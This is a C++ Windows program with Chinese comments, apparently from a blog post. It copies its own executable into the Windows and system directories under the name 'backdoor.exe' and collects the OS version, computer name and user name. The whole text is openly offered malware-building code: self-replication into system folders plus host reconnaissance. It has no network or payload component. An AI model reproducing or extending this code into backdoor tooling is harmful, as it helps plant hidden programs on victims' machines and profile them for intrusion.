#include <Windows.h> #include <iostream> #include <string.h> using namespace std; //复制自身程序到windows目录和系统目录下的程序 void CopySelf() { //保存自身程序的路径 char szSelfName[MAX_PATH] = {0}; //保存windows目录的路径 char szWindowsPath[MAX_PATH] = {0}; //保存系统目录的路径 char szSystemPath[MAX_PATH] = {0}; //临时路径变量J char szTempPath[MAX_PATH] = {0}; //获得自身程序所在路径 GetModuleFileNameA(NULL, szSelfName, MAX_PATH); //获得windows目录 GetWindowsDirectoryA(szWindowsPath, MAX_PATH); //获得系统目录 GetSystemDirectoryA(szSystemPath, MAX_PATH); //追加字符串 strcat(szWindowsPath, "\\backdoor.exe"); strcat(szSystemPath, "\\backdoor.exe"); cout<<szSelfName<<endl; cout<<szWindowsPath<<endl; cout<<szSystemPath<<endl; //如果复制文件 到C盘, 可能拒绝访问 错误代码为5 BOOL result = ::CopyFileA(szSelfName, "F:\\windows C++\\hello.exe", TRUE); cout<<result<<endl; BOOL result1 = ::CopyFileA(szSelfName, szWindowsPath, TRUE); DWORD error = ::GetLastError(); cout<<error<<endl; BOOL result2 = ::CopyFileA(szSelfName, szSystemPath, TRUE); cout<<result1<<" "<<result2<<endl; } //获得系统的相关信息 void GetSysInfo() { //保存计算机名称 char szComputerName[MAXBYTE] = {0}; //保存当前用户名称 char szUserName[MAXBYTE] = {0}; unsigned long nSize = MAXBYTE; //保存操作系统信息的结构体 OSVERSIONINFO OsVer; OsVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); //获取操作系统版本 ::GetVersionEx(&OsVer); if(OsVer.dwPlatformId == VER_PLATFORM_WIN32_NT) { //主版本为5, 此版本为1 为windows XP系统 if(OsVer.dwMajorVersion == 5 && OsVer.dwMinorVersion == 1) { cout<<"windows XP "<<OsVer.szCSDVersion<<endl; } //windows 2000 else if(OsVer.dwMajorVersion == 5 && OsVer.dwMinorVersion == 0) { cout<<"windows 2000 \n"; } //windows 7 else if(OsVer.dwMajorVersion == 6 && OsVer.dwMinorVersion == 1) { cout<<"windows 7 \n"; } //其他系统 else { cout<<"other system\n"; } //获得计算机名称 ::GetComputerNameA(szComputerName, &nSize); cout<<"computer name is: "<<szComputerName<<endl; nSize = MAXBYTE; //获得当前用户名称 ::GetUserNameA(szUserName, &nSize); cout<<"user name is: "<<szUserName<<endl; } } int main() { CopySelf(); GetSysInfo(); return 0; }
复制自身程序到windows目录和系统目录,获取系统的相关信息
最新推荐文章于 2022-08-12 16:58:32 发布